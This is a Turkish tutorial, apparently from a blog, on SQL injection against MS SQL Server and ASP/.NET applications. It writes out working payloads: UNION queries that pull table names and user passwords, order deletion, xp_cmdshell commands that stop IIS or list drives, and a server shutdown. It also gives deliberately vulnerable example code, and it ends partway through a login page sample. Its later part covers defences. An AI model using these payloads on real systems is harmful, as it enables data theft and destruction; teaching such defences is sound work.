St.AnGeR
Document Visor..
SQL INJECTION NEDİR? NASIL ÇALIŞIR? NASIL ÖNLENİR?
Veritabanı yöneticileri ve web uygulaması geliştiriciler her geçen gün artan bir şekilde SQL Injection saldırıları ile uğraşmak zorunda kalmaktadırlar.
Bu makale veritabanları ile çalışan web uygulaması geliştiriciler, bu uygulamaların güvenliğini test eden güvenlik profesyonelleri ve veritabanı yöneticilerine yardımcı olmak amacıyla yazılmıştır.
Örnekler SQL injection’a açık bir uygulamada yapılabilecekler ve verilebilecek hasarlar hakkında bilgi aktarmak amacıyla verilmiştir. Örneklerde MS SQL Server, IIS, Active Server Pages ve .NET Framework kullanılmasının sebebi diğer uygulamalara göre daha yaygın kullanım alanlarının olması ve bu sebeple daha çok saldırıya maruz kalmalarıdır. Bununla birlikte diğer veritabanı sistemlerinde de bu makalede verilen örneklere ve belirtilen önlemlere eş değer uygulamalar yapmak mümkündür.
Bir web uygulamasına kod enjekte etmenin çeşitli yolları vardır. Bunlar; HTML Embedding, Cross-Site Scripting, SQL Injection, Buffer Overflow, File Includes gibi yöntemlerdir. Bu makalede SQL Injection ele alınmaktadır.
SQL Injection saldırısı nedir?
SQL Injection, güvenlik açığı olan uygulamalarda kötü niyetli kodların kullanıcıların sunucuyla etkileşim sağladığı alanlardan gönderilerek gizli bilgilerin açığa çıkarıldığı ya da server’ın çalışmasının engellendiği ve sistemin işlevlerini yerine getiremez duruma düşürüldüğü saldırılardır.
Saldırı tipleri iki kategoriye ayrılabilir.
1. First-Order:
Bu tip ataklar saldırganın ya e-mail gibi bazı cevap mekanizmaları ya da saldırıya maruz kalan uygulamadaki açıklar sayesinde amacına doğrudan ve anında erişebildiği hızlı saldırılardır.
2. Second-Order:
Bu tip saldırılarda veritabanına saldırı amaçlı kodlar gömülür ve daha sonra aktif hale getirilmek üzere bırakılır. Bu tip saldırılar anında ortaya çıkmazlar.
Bu tip saldırıların gerçekleştirilebilmesindeki en büyük etken veri bir kez veritabanına girdiğinde genellikle temiz ve zararsız olduğunun düşünülüp tekrar kontrol edilmemesidir. Ancak veriler sorgularda sıklıkla kullanılmaktadır ve sisteminize hala zarar verebilir.
Kullanıcılara arama kriterilerinde favori aramalarını düzenleme imkanı veren bir uygulama düşünün. Kullanıcı arama kriterlerini tanımladığında uygulama tek tırnakları yakalayarak favori arama kriterleri girilirken First-Order saldırıların olmasını engeller. Ancak kullanıcı bir arama yapmaya geldiğinde bilgi veritabanından alınır ve asıl arama işini yapacak olan ikinci bir sorgu oluşturmak üzere kullanılır. İşte bu noktada saldırının kurbanı 2. sorgudur.
Örneğin kullanıcı aşağıdaki kodu arama kriteri olarak yazarsa;
'; DELETE Orders;--
Uygulama veriyi alır, tek tırnakları yakalar ve son SQL sorgusu şöyle bir şeye benzeyebilir.
INSERT Favourites (UserID, FriendlyName, Criteria)
VALUES(123, 'My Attack', ''';DELETE Orders;--')
Bu bilgi veritabanına sorunsuz işlenir. Bununla birlikte kullanıcı favori aramalarını seçtiğinde yeni bir SQL sorgusu oluşturması için veri uygulamaya geri çağrılır ve çalıştırılır. Örneğin C# kodu şuna benzeyebilir:
// Geçerli kullanıcı adını ve favori aramada kullanılacak adı al
int uid = this.GetUserID();
string friendlyName = this.GetFriendlyName();
// Arama kriterini gerçekleştirmek üzere SQL ifadesini yarat
string sql = string.Format("SELECT Criteria FROM Favourites "+
"WHERE UserID={0} AND FriendlyName='{1}'",
uid, friendlyName);
SqlCommand cmd = new SqlCommand(sql, this.Connection);
string criteria = cmd.ExecuteScalar();
// Arama işlemini yap
sql = string.Format("SELECT * FROM Products WHERE ProductName = '{0}'",
criteria);
SqlDataAdapter da = new SqlDataAdapter(sql, this.Connection);
da.Fill(this.productDataSet);
Veritabanına yapılan ikinci sorgu tam olarak açıldığında sorgu şuna benzer;
SELECT * FROM Products WHERE ProductName = ''; DELETE Orders;--
Bu kod beklenen sorgu için hiç bir sonuç döndürmez ancak söz konusu firma bütün sipariş bilgisini çoktan kaybetmiştir.
SQL Injection Nasıl Çalışır?
SQL injection internet ortamında create, read, update ve delete sorgularının farklı şekillerde kullanımı sonucu yapmaları amaçlanan görevleri yaptırmadan kötü amaçlı SQL komutlarının hedef veritabanına karşı çalıştırılmasından başka bir şey değildir.
Genelde saldırıyı yapan kişilerin en iyi dostu textboxlardır. Bununla birlikte işin özünde veritabanına giden her veri girişi tehlikelidir.
Bir örnek ele alacak olursak normal bir sorgu şöyledir:
Select * from customers
Bu sorgu içerisinde kullanıcı tarafından bir veri girişi gerçekleşmediğinden SQL injection’a karşı güvenlidir. Aşağıdaki gibi interaktif bir sorgu ise:
select * from customers where customerID = 'ALFKI'
Eğer ALFKI bir kullanıcının girdiği bir veri ise tehlikelidir. Bir textbox (combobox’da olabilir )olduğunu ve kullanıcının müşteri ismini girerek veritabanına bir sorgu gönderdiğini ve sonucunda uygulamanızın geriye bir sonuç gönderdiğini düşünün.
Bunun bir combobox olması durumunda saldıran kişi ilk once sayfanızı HTML formatında kayıt edebilir ve sonra combobox değer alanı bilgilerini saldırı yapmak için kullanabilir. Bununla birlikte yapabileceği şeylerden bir tanesi de sayfanızı kayıt ettikten sonra bir analinizi yapmak ve kendi sorgusunu yapmak için girdi kontrollerinde sizinkiyle aynı isimleri kullanarak uygulamanıza doğrudan GET ya da POST metodları gönderecek olan kendi uygulamasını yaratmaktır. Karışık gibi görünsede web uygulama geliştirmede 1 senelik tecrübesi olan ortalama bir programcı bunu yapabilir.
Aşağıdaki örneğe bir bakalım. Kullanıcı textbox’a müşteri adı yerine aşağıdaki string’i yazarsa SQL Server kilitlenebilir. Bu tabiki de SQL Server’ın nasıl yanlış yapılandırıldığı ile de alakalı bir konudur.
a' exec master.dbo.xp_cmdshell 'rundll32.exe user32.dll,LockWorkStation'
Mesela bir siteyi etkisiz hale getirmek istiyorsanız ve server da doğru olarak yapılandırılmamışsa o zaman ‘iisreset/Stop’ komutunu kullanabilirsiniz. Çalıştıracağınız komut aşağıdaki gibidir.
a' exec master.dbo.xp_cmdshell 'iisreset/Stop'
Saldırgan büyük ihtimalle sunucunuzdaki tablolarda yer alan değerli verilere ulaşmak isteyecektir. Şunu bir düşünün, eğer elinizde kötü dizayn edilmiş bir uygulama varsa saldırgan müşterilerinizi kredi kartı, ev adresi, e-mail adresi gibi bilgilere erişebilir. Bunun sonucunda kredi kartı bilgilerini kullanarak müşterinizin satın almadığı ürünleri evine göndertmek ya da e-mail adreslerini satmak gibi suçlar işleyebilir.
Hangi SQL Server?
Bir siteye saldırmadan once saldırganın arkada çalışanın hangi SQL engine olduğunu bilmesi gerekir. Bunu kötü dizayn edilmiş bir sistemden öğrenmek tahminlerinizden daha kolaydır. Deneme yanılma gibi bir yol olduğunu da unutmayın.
Eğer web sayfalarınızın uzantısı .asp, .aspx vb. ise büyük ihtimalle SQL Server ya da MS Access kullanıyorsunuz. Sayfa uzantıları .jsp ise arkada bir Oracle sistemi çalışıyor olabilir. Sayfa uzantıları .php ise arkada çalışan MySQL olabilir.
Diyelim ki tahminlerimizde yanıldık peki o zaman arkaplanda çalışan SQL motorunun ne olduğunu nasıl bulacağız? Bunu bulmak için SQL’de başlangıç düzeyinde bilgiye sahip olmak yeterlidir. Genelde bu bilgi string birleştiren ve yorum karakterleri ile elde edilir.
SQL server için ALFKI ve AL + FKI aynıdır. Bununla birlikte Oracle için ALFKI and ALF || KI aynı anlamı ifade eder.
Şimdi ilk once AL+FKI deneyin. Eğer hata mesajı alıyorsanız arka planda çalışan kesinlikle SQL Server değildir. Uygun sonucu bulana kadar diğer stringleri deneyin.
Saldırganlar genelde lazım olacak doğru ekipmanlarını hazır bulundururlar. Örneğin gerekli sorguların yazılı olduğu bir text dosyası. Etkin bir saldırı yapabilmek aynı zamanda hızlı bir kopyala yapıştır yapabilme meselesidir.
Arka plandaki server bilgisini edinmek ya da seçenekleri azaltmak için SQL motorundaki tanımlı fonksiyonları kullanmakta işinize yarayabilir. Örneğin: Oracle için Sysdate, SQL server için Getdate gibi tarih foksiyonlarını kullanabilirsiniz.
Bir SQL ifadesini bitirmek için kullanılan karakteri kullanmak da arka plandaki SQL motorunu bulmak için iyi bir seçenek olabilir.
SQL Injection Saldırıları Nasıl Yapılıyor?
Öncelikle hangi saldırı tiplerinin popüler olduklarına bakalım.
1. Veritabanındaki tabloları bulmak
2. Veritabanındaki sütun adlarını bulmak
3. Order By kullanarak veritabanında kullanılan sütunların sayısını bulmak.
Bir örnekle saldırganın neler yapabileceğine bakalım: Buradaki senaryo saldırganın bir web sitesi üzerinden veritabanına saldırı yaparak kendi kodlarını enjekte etmesidir.
Tipik bir SQL sorgusu düşündüğünüzde aklınıza şöyle bir şey gelir:
SELECT ProductName, QuantityPerUnit, UnitPrice
FROM Products
WHERE ProductName LIKE 'G%'
Örneğin eğer bu sorgu sitedeki bir arama özelliğinden geliyorsa burada “G” harfini girip sorgu çeken herhangi bir site ziyaretçisi olabilir. Eğer server tarafındaki kod kullanıcının girdiği veriyi doğrudan SQL sorgusunun içerisine yerleştirirse, o zaman sorgu şöyle bir şeye benzer:
string sql = "SELECT ProductName, QuantityPerUnit, UnitPrice "+
"FROM Products " +
"WHERE ProductName LIKE '"+this.search.Text+"%';
SqlDataAdapter da = new SqlDataAdapter(sql, DbCommand);
da.Fill(productDataSet);
Buraya kadar herşey normal, veri doğru, bir problem yok. Peki ya kullanıcı beklenmedik bir şey yazarsa ne olur? Örneğin:
' UNION SELECT name, type, id FROM sysobjects;--
Başlangıçtaki tek tırnak işaretine dikkat edin. Orjinal SQL sorgusunda açılan sorguyu kapatıyor. Son taraftaki iki tire işaretine de dikkat edin. Orjinal SQL sorgusunda geri kalan herşey bu noktadan sonra işleme alınmıyor.
Şimdi saldırgan kullanıcının aradığı ürünleri getirmesi beklenen sayfada artık veri tabanındaki nesnelerin listesini ve nesnelerin türlerini görebiliyor. Tabiki bu listede saldırgan USERS diye bir tablo olduğunu farkediyor. Artık aşağıdaki kod enjekte edilebilir:
' UNION SELECT name, '', length FROM syscolumns
WHERE id = 1845581613;--
Bu sorgu saldırgana USERS tablosundaki sütun isimlerinin listesini getirecektir. Artık saldırgan şifreler listesine erişmek için yeterli bilgiye sahiptir.
' UNION SELECT UserName, Password, IsAdmin FROM Users;--
Veritabanında USERS diye bir tablo olduğunu ve bu tabloda UserName ve Password gibi sütunlar olduğunu düşünün. Bunu orjinal sorgu ile birleştirmek mümkündür. Sistem bunu örneğin UserName’i ProductName ve Password kısmını da QuantityPerUnit gibi analiz edecektir. Sonuç olarak saldırganımız IsAdmin diye bir kolon olduğunu bulduğuna göre bunun içerisindeki bilgilere de erişmesi artık an meselesidir.
Başka bir örnek daha.
İlk olarak veritabanındaki tabloları bulmak için basit bir sorgu yazalım.
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
Bu sorgu size bir veritabanındaki user defined tabloları getirir ve saldırgan bunu sisteminizdeki tabloları bulmak için kullanabilir.
Tablonuzdaki sütunları bulmak için şöyle bir sorgu yeterli olabilir.
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='customers'
Saldırganın sisteminizde bu sorguları doğrudan nasıl çalıştırabileceğini merak ediyor olabilirsiniz. Cevap: Result set içerisinde dönen sütun sayısını bulur ve dönen sonuçla bir ‘Union’ yapar. Aşağıdaki gibi basitçe bir komut yardımcı olabilir:
UNION select table_name , null ,null ,null
Eski sorgumuzu hatırlayalım:
select * from customers where customerID = 'ALFKI'
Saldırıya açık sorgu şöyle bir şey olacaktır.
select * from customers where customerID = 'ALFKI'
union
SELECT table_name,null,null,null,null,null,null,null,null,
null,null FROM INFORMATION_SCHEMA.TABLES --'
Tek tırnak işaretinden sonra aşağıda kötü niyetli bir string kullanıldı.
' union
SELECT table_name,null,null,null,null,null,null,null,
null,null,null FROM INFORMATION_SCHEMA.TABLES --
Saldırganın kaç tane NULL ekleyeceğini nereden bileceğini merak ediyor olabilirsiniz. Bunu sorgunun HTML’de ürettiği değerlere bakarak ya da ‘Order By’ kullanarak yapabilir.
select * from customers where customerID = 'ALFKI' Order by 1 -- ‘
select * from customers where customerID = 'ALFKI' Order by 15 --
Yukarıdaki sorgular saldırgana bir hata mesajı döndürecektir, ancak aşağıdaki sorguyu denediğinde hata mesajı dönmeyecek ve saldırgan dönen sonuçta 11 sütun olduğunu öğrenmiş olacaktır.
select * from customers where customerID = 'ALFKI' Order by 11 -- ‘
SQL Injection nasıl önlenir?
SQL Injection saldırılarını önlemenin çeşitli yolları vardır. Makalenin geri kalanında bunları inceleyeceğiz.
Sistemi dışarıdan erişime kapatma yöntemi
Güvenlik birçok katmana ayrılması gereken bir konudur. Bir kullanıcı bir yazılımı kullanırken zincirde bir çok halka vardır ve eğer kullanıcı kötü niyetli ise zayıf halkayı bulmak için bu zincire saldırarak sistemi zayıf noktasından çökertebilir.
Internet kullanıcılarına kapalı, windows authentication kullanan ve şirket ağında çalışan bir intranet websitesi sadece yetkili kullanıcılar intranet web uygulamasına giriş yapabilirmiş izlenimi uyandırabilir. Ancak bu seviyeden sonra gerekli güvenlik önlemleri alınmadıysa yetkili bir kullanıcı yetkisiz olduğu alanlara geçiş yapabilir. İstatistikler bu tip yapılara dışarıdan ziyade içeriden yetkisiz girişler yapıldığını desteklemektedirler.
Bununla birlikte bir uygulama detaylı bir doğrulama ve temizleme yaptıktan sonra doğru veri girişine izin veriyor olsa bile bu sefer diğer güvenlik önlemleri önem kazanıyor. Bu, özellikle sahte sorgular veya sonuçlar için fırsatların arttığı uygulama katmanları arasındaki noktalarda önemlidir.
Örneğin, bir web siteniz var ve kullanıcının bir tarih girmesini istiyorsunuz. Normal olarak girilen bilgiyi servera göndermeden önce Java Scriptlerle kontrol ettirdiniz. Bu işlem kullanıcının hoşuna gidecektir çünkü server sorguları için beklemeyecektir. Ancak burada yapılması gereken, kasten yazılmış geçersiz bir tarihle sorgu yanıltılabileceğinden tarih bilgisinin geçerliliğinin serverda tekrar denetlenmesidir.
Veriyi şifreleme
Saldırganın bütün güvenlik önlemlerini aştığını ve verilerinize ulaştığını düşünelim. Peki ya ulaştığı veriler şifrelenmişse?
Örneğin kullanıcı şifresi gibi veriler, kullanıcı şifreleri özel veriler olarak depolanabilir. Nasıl mı? Aşağıdaki koda bakalım. Syntax için .NET Framework 1.1. baz alınmıştır.
[JScript]
public static function HashPasswordForStoringInConfigFile(
password : String,
passwordFormat : String
) : String;
[Visual Basic]
Public Shared Function HashPasswordForStoringInConfigFile( _
ByVal password As String, _
ByVal passwordFormat As String _
) As String
Parametreler password ve passwordFormat. Kullanılacak olan algoritma Hash algoritmasıdır. Burada desteklenen iki tip algoritma var: "SHA1" veya "MD5" şifreleme algoritmaları.
Return Value : Encrypt edilmiş şifreyi çeviren string.
Örnek
[Visual Basic]
<%@ Page Language="VB" autoeventwireup="true" %>
<html>
<head>
<script runat="server">
Sub Cancel_Click(sender as Object, e as EventArgs )
userName.Text = ""
password.Text = ""
repeatPassword.Text = ""
result.Text = ""
End Sub
Sub HashPassword_Click(sender as Object, e as EventArgs)
If Page.IsValid Then
Dim hashMethod As String
If sha1.Checked Then
hashMethod = "SHA1"
Else
hashMethod = "MD5"
End If
Dim hashedPassword As String
hashedPassword = _
FormsAuthentication.HashPasswordForStoringInConfigFile(password.Text, hashMethod)
result.Text = "<credentials passwordFormat='" + hashMethod + "'><br>" + _
" <user name='" + userName.Text + "' password='" + _
hashedPassword + "'><br>" + "</credentials>"
Else
result.Text = "There was an error on the page."
End If
End Sub
</script>
</head>
<body>
<form runat="server">
<table>
<tbody>
<tr>
<td>New User Name:</td>
<td><asp:TextBox id="userName" runat="server"></asp:TextBox></td>
<td><asp:RequiredFieldValidator id="userNameRequiredValidator" runat="server"
ErrorMessage="User name required" ControlToValidate="userName"></asp:RequiredFieldValidator></td>
</tr>
<tr>
<td>Password: </td>
<td><asp:TextBox id="password" runat="server" TextMode="Password"></asp:TextBox></td>
<td><asp:RequiredFieldValidator id="passwordRequiredValidator" runat="server"
ErrorMessage="Password required" ControlToValidate="password"></asp:RequiredFieldValidator></td>
</tr>
<tr>
<td>Repeat Password: </td>
<td><asp:TextBox id="repeatPassword" runat="server" TextMode="Password"></asp:TextBox></td>
<td><asp:CompareValidator id="passwordCompareValidator" runat="server"
ErrorMessage="Password does not match" ControlToValidate="repeatPassword"
ControlToCompare="password"></asp:CompareValidator></td>
</tr>
<tr>
<td>Hash function: </td>
<td align="middle"><asp:RadioButton id="sha1" runat="server" GroupName="HashType"
Text="SHA1"></asp:RadioButton>
<asp:RadioButton id="md5" runat="server" GroupName="HashType" Text="MD5"></asp:RadioButton></td>
</tr>
<tr>
<td align="middle" colspan="2">
<asp:Button id="hashPassword" onclick="HashPassword_Click" runat="server" Text="Hash Password">
</asp:Button>
<asp:Button id="cancel" onclick="Cancel_Click" runat="server" Text="Cancel" CausesValidation="false">
</asp:Button></td>
</tr>
</tbody>
</table>
<p><asp:Label id="result" runat="server"></asp:Label></p>
</form>
</body>
</html>
Veritabanı Hesapları – En az yetkilendirme
Bir veritabanına veritabanı yönetici şifresini kullanarak bağlanan bir uygulama salgırganın veritabanı üzerinde sınırsız komutlar çalıştırabileceği büyük bir potansiyel açıktır. Bu veritabanı yöneticisinin yapabileceği her şeyi saldırgan da yapabilir demektir.
Daha önce belirtilen metodları kullanarak saldırgan server’ın sabit disklerinin içeriğini öğrenmek için aşağıdaki kodu enjekte edebilir.
İlk komut veritabanı üzerinde geçici bir depolama alanı yaratma ve onu bazı verilerle doldurmak için kullanılır. Aşağıdaki enjekte edilmiş kod çağrılacak olan stored procedure’ün sonuç seti ile aynı yapıya sahip bir tablo yaratacak. Daha sonra bu tabloyu stored procedure’ün sonuçlarıyla birlikte çalıştıracak.
'; CREATE TABLE haxor(name varchar(255), mb_free int);
INSERT INTO haxor EXEC master..xp_fixeddrives;--
Veriyi tekrar çekmek için ikinci bir saldırı daha gerçekleştirilmelidir.
' UNION SELECT name, cast((mb_free) as varchar(10)), 1.0 FROM haxor;--
Bu sabit disklerin isimlerini ve megabyte cinsinden kullanılabilir kapasitelerini döndürür. Artık disklerin sürücü isimleri bilinmektedir, bu disklerin içeriğini görmek için yeni bir saldırı yapılabilir.
'; DROP TABLE haxor;CREATE TABLE haxor(line varchar(255) null);
INSERT INTO haxor EXEC master..xp_cmdshell 'dir /s c:\';--
Ve tekrar, ikinci bir saldırı yapılarak veriler tekrar çekilir.
' UNION SELECT line, '', 1.0 FROM haxor;--
xp_cmdshell SQL Server’ın varsayılan ayarlarında, örneğin “sa” gibi, sysadmin yetkisine sahip bir kullanıcı tarafından çalıştırılabilir. Create Table ise sadece sysadmin, db_dbowner ya da db_dlladmin kullanıcıları tarafından kullanılabilir. Bu sebeplerden dolayı uygulamalarınıza sadece gerekli foksiyonları çalıştırabilecek yetkilendirme yapmalısınız.
İşlem hesapları – En az yetkilendirme
Bir bilgisayara SQL Server yüklendiğinde, geri planda sunucuya bağlı olan uygulamalardan gelen komutları işleyen bir servis çalıştırır. Bu servis varsayılan olarak Local System hesabı ile çalışır. Bu bir Windows makinesindeki en güçlü hesaptır. Hatta yönetici hesabından daha güçlüdür.
Eğer bir saldırgan SQL Server’ın güvenlik duvarlarını geçebilirse, mesela xp_cmdshell stored prosedürünü kullanarak, o zaman SQL server’ın kurulu olduğu makineye sınırsız erişim imkanı elde edebilir.
Microsoft’un tavsiyesi SQL serverın kurulumu sırasında servise sadece gerekli kaynaklara erişebilecek izinlere sahip bir domain hesabı verilmedilir. Bu durumda saldırgan sadece SQL server’ı çalıştırmak için yapılandırılan izinlerin yetkileriyle sınırlandırılacaktır.
Verileri Temizleme ve Geçerliliğini Kontrol Etme
Bir çok uygulamada developerlar tek tırnak işaretinin sisteme erişim yolu olarak potansiyel kullanımını göz ardı ederler. Bu kullanıcının girdiği verinin bir string ifade ile yer değiştirilmesiyle gerçekleşir. Bu yol geçerli nedenlerden dolayı yararlıdır. Örneğin “O’Brian”, “D’Arcy gibi isimlerin girilebilmesine olanak sağlamasının yanısıra SQL injection saldırılarının da bir kısmını önlemektedir. Örneğin;
string surname = this.surnameTb.Text.Replace("'", "''");
string sql = "Update Users SET Surname='"+surname+"' "+
"WHERE id="+userID;
Örneklerde tek tırnak kullanılarak yapılan SQL injection saldırılarının tamamı bu yolla önlenebilir.
Bununla birlikte bir çok uygulama kullanıcıdan rakam bilgileri girmesini ister ve bunların tek tırnak işareti gibi işaretleri yoktur. Örneğin siparişlerinizi yıllara göre getiren bir uygulamanız var diyelim. Bu uygulama şöyle bir sorgu çalıştırıyor olabilir.
SELECT * FROM Orders WHERE DATEPART(YEAR, OrderDate) = 1996
Ve uygulamanın kodu çalıştırabilmesi için SQL komutunu yaratacak olan C# kodu aşağıdakine benzeyebilir.
string sql = "SELECT * FROM Orders WHERE DATEPART(YEAR, OrderDate) = "+
this.orderYearTb.Text);
Bu durumda veritabanına kod enjekte etmek yine kolaylaşır. Bütün saldırganların bu durumda yapacağı saldırılarını bir rakamla başlatmak olacaktır, ve aşağıdaki gibi, çalıştırmak istedikleri kodu enjekte edeceklerdir.
0; DELETE FROM Orders WHERE ID = 'competitor';--
Bu sebeplerden dolayı kullanıcıdan gelen verinin gerçekten bir rakam olup olmadığı ve geçerli aralıkta olup olmadığı denetlenmelidir. Örneğin;
string stringValue = orderYearTb.Text;
Regex re = new Regex(@"\D");
Match m = re.Match(someTextBox.Text);
if (m.Success)
{
// Bu rakam değil, hata mesajı fırlat.
}
else
{
int intValue = int.Parse(stringValue);
if ((intValue < 1990) || (intValue > DateTime.Now.Year))
{
// Bu gereken aralıkta değil, hata mesajı fırlat.
}
}
Parametreli Sorgular
SQL server da diğer bir çok veritabanı sistemleri gibi parametreli sorgular adı verilen bir konsepti destekler. Parametreli sorgular SQL ifadelerinin içerisine doğrudan değerleri koymak yerine parametre konulan sorgulardır. Eğer parametreli sorgular kullanılmışsa Second-Order saldırıların önemli bir kısmı engellenebilir.
string cmdText=string.Format("SELECT * FROM Customers "+
"WHERE Country='{0}'", countryName);
SqlCommand cmd = new SqlCommand(cmdText, conn);
Uygulama geliştiricinin yukarıdaki gibi SqlCommand nesnesi kullandığı yerdeki bir parametreli bir sorgu buna benzer:
string commandText = "SELECT * FROM Customers "+
"WHERE Country=@CountryName";
SqlCommand cmd = new SqlCommand(commandText, conn);
cmd.Parameters.Add("@CountryName",countryName);
Değer bir yer tutucu, parametre, ile yer değiştirilmiş ve daha sonra parametrenin değeri komuttaki parametre koleksiyonuna eklenmiştir.
Second-Order saldırıların önemli bir kısmı parametre kullanılarak engellenebilse dahi SQL ifadesinde sadece izin verilen yerlerde parametre kullanılabilir. Bazı durumlarda uygulama kullanıcıya bağlı değişkenlere bağlı olarak bir sonuç seti döndürebilir. Mesela SQL ifadesinde sonuç setini sınırlandırmak için TOP anahtar kelimesinin kullanıldığını düşünelim. Bu durumda, SQL Server 2000’de, TOP sadece literal değerler alabileceğinden dolayı fonksiyonu çalıştırmak için SQL komutunun içerisine bu değer uygulama tarafından girilmelidir. Örneğin:
string sql = string.Format("SELECT TOP {0} * FROM Products", numResults);
Stored Procedure Kullanımı
Stored procedure kullanımı bir yazılım sistemine artı bir soyut katman ekler. Bu, şu demektir: Stored procedure üzerindeki arayüz aynı kaldığı sürece arka planda çalışmakta olan tabloların veri yapısı onu kullanan uygulamaya bağlı olmadan değiştirilebilir. Bu soyut katman aynı zamanda saldırganlara karşı artı bir güvenlik bariyeri ekler. Eğer SQL serverdaki verilere erişime sadece stored procedureler üzerinden izin veriliyorsa tablolara erişim için izinler atanmasına gerek yoktur. Stored procedureler sayesinde tabloların hiçbir tanesine direkt olarak dışarıdan bir uygulama tarafından erişilemez. Dışarıdan bir uygulama tablolardaki verileri okumak ya da bu veriler üzerinde değişiklik yapmak isterse stored procedureler üzerinden bu işlemleri yapmalıdır. Bununla birlikte bazı stored procedureler, eğer yanlış kullanılırlarsa, saldırı için zayıf nokta yaratacaklarından veritabanına potansiyel zarar verici durumundadırlar.
Veritabanına girilen bilgilerin geçerliliğini ve tablodaki verilerle olan uyumluluğunu denetlemek için stored procedureler yazılabilir. Bununla birlikte parametrelerin geçerli aralıkta olup olmadığı ve hatta girilen bilginin kontrolü diğer tablolardaki verilerle çarpraz sorgulama yapılarak sağlanabilir.
Örneğin bir web sitesi için kullanıcı adı ve parola gibi kullanıcı bilgilerini tutan bir veritabanı olduğunu varsayalım. Saldırganın bir tek şifreye bile erişememesi önemlidir. Dizayn edilen stored procedureler sayesinde parola girilebilir ancak hiç bir sonuç setinde şifre bilgisi döndürülmeyecektir.
Bu web sitesi için kayıt ve authentication için kullanılan stored procedureler aşağıdakiler gibi olabilir.
• RegisterUser
• VerifyCredentials
• ChangePassword
RegisterUser web sitesine kayıt için gerekli olan diğer bilgilerle birlikte kullanıcı adını ve parolayı alır ve bir kullanıcı ID’si döndürür.
VerifyCredentials kullanıcı adını ve parolayı kabul ederek siteye log in olurken kullanılır. Eğer verilerin bir karşılığı varsa UserID döner yoksa NULL değer döner.
ChangePassword UserID’yi, eski parolayı ve yeni parolayı alır. Eğer UserID ve eski parola tutuyorsa parolayı değiştirir. İşlem sonucunda işlemin başarılı ya da başarısız olduğunu bildiren bir değer döndürür.
Yukarıdaki örnekte parola daima veritabanında kalır ve asla açıkça gösterilmez.
SQL Injection saldırılarına karşı stored procedureler her derde devaymış gibi görünselerde aslında bu tam olarak doğru değildir. Yukarıda belirttiğim gibi verinin geçerliliğini doğrulamak önemlidir ve açıktır ki stored procedureler sayesinde bu yapılabilir. Fakat, bununla birlikte eğer store procedure yeni bir komut oluşturmak için EXEC... WHERE ... komutunu kullanacaksa verinin geçerliliğini denetlemek iki kat daha önemlidir.
Örneğin bir stored procedure bir tablo yaratarak veritabanının veri modelini değiştirecekse kod aşağıdaki gibi yazılabilir:
CREATE PROCEDURE dbo.CreateUserTable
@userName sysname
AS
EXEC('CREATE TABLE '+@userName+
' (column1 varchar(100), column2 varchar(100))');
GO
Burada açıktır ki @userName’in içeriği ne olursa olsun CREATE ifadesine eklenecektir. Bu durumda saldırgan userName’i aşağıdaki hale getirecek olan bir kod enjekte edebilir.
a(c1 int); SHUTDOWN WITH NOWAIT;--
Bu durumda SQL server diğer işlerin tamamlanmasını beklemeden çalışmayı durduracaktır.
Yabancı karakterlerin olmadığından emin olmak için girilen bilginin geçerliliğinin denetlenmesi önemlidir. Uygulama userName’in bir parçası olarak boşluk bırakılıp bırakılmadığını denetleyebilir ve bu durumda CREATE ifadesi gerçekleştirilmeden önce bilgiyi red edebilir.
CREATE PROCEDURE dbo.AlterUserTable
@userName sysname
AS
IF EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'dbo'
AND TABLE_TYPE = 'BASE TABLE'
AND TABLE_NAME = @userName)
BEGIN
// Tablonun varlığı biliniyor
// ilgili kodları buraya yaz.
END
GO
Hata Mesajları
Bence SQL Injection saldırılarının önlenebilmesi için en etkin yol hata mesajları döndürmemektir. Hata mesajları döndüğü sürece SQL Injection saldırılarını durduramayız çünkü dönen hata mesajları saldırgana yol göstermektedir.
Hata mesajları saldırgan için önemlidir çünkü bir saldırganın saldırıyı yaparken veritabanı ve tablo yapısı hakkında bilgi sahibi olması gerekir ve hata mesajları veritabanı hakkında saldırganların başka türlü erişemeyecekleri veriler sağlarlar.
Buradaki önemli kural detaylı bir hata mesajı çevirmek yerine ‘Hata oluştu’ gibi basit hata mesajı çevirmektir. Böylece saldırganın verebileceği zararları büyük oranda engellemiş olursunuz. Çünkü SQL injection saldırısında geri dönen hata mesajları kullanılarak saldırı derinleştirilir.
Bir şeyler yanlış gittiğinde kullanıcıya bir hata mesajı döndürmenin teknik personelle konuşurlarken yardımcı olacağı düşünülür.
Uygulamalarda genelde şuna benzer kodlar bulunur:
try
{
// Bazı database işlemleri gerçekleştiriliyor.
}
catch(Exception e)
{
errorLabel.Text = string.Concat("Sorry, your request failed. ",
"If the problem persists please report the following message ",
"to technical support", Environment.Newline, e.Message);
}
Bundan daha iyisi ise güvenliği elden bırakmadan kullanıcıya kendi özel ID’si olan basit bir hata mesajı göstermektir. Bu özel ID’nin kullanıcı için hiç bir anlamı yoktur ancak teknik personele hatanın nereden kaynaklandığını gösterebilir. Yukarıdaki kod yerine şöyle bir şey yazılabilir.
try
{
// Bazı database işlemleri gerçekleştiriliyor.
}
catch(Exception e)
{
int id = ErrorLogger.LogException(e);
errorLabel.Text = string.Format("Sorry, your request Failed. "+
"If the problem persists please report error code {0} "
"to the technical support team.", id);
}
Hata mesajları ile yapılabileceklere daha detaylı bakalım. Öncelikle aşağıdaki gibi bir form sayfamız olduğunu varsayalım.
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%
width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
Aşağıdaki kod ise gerçek login işlemini gerçekleştiren process_login.asp için.
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
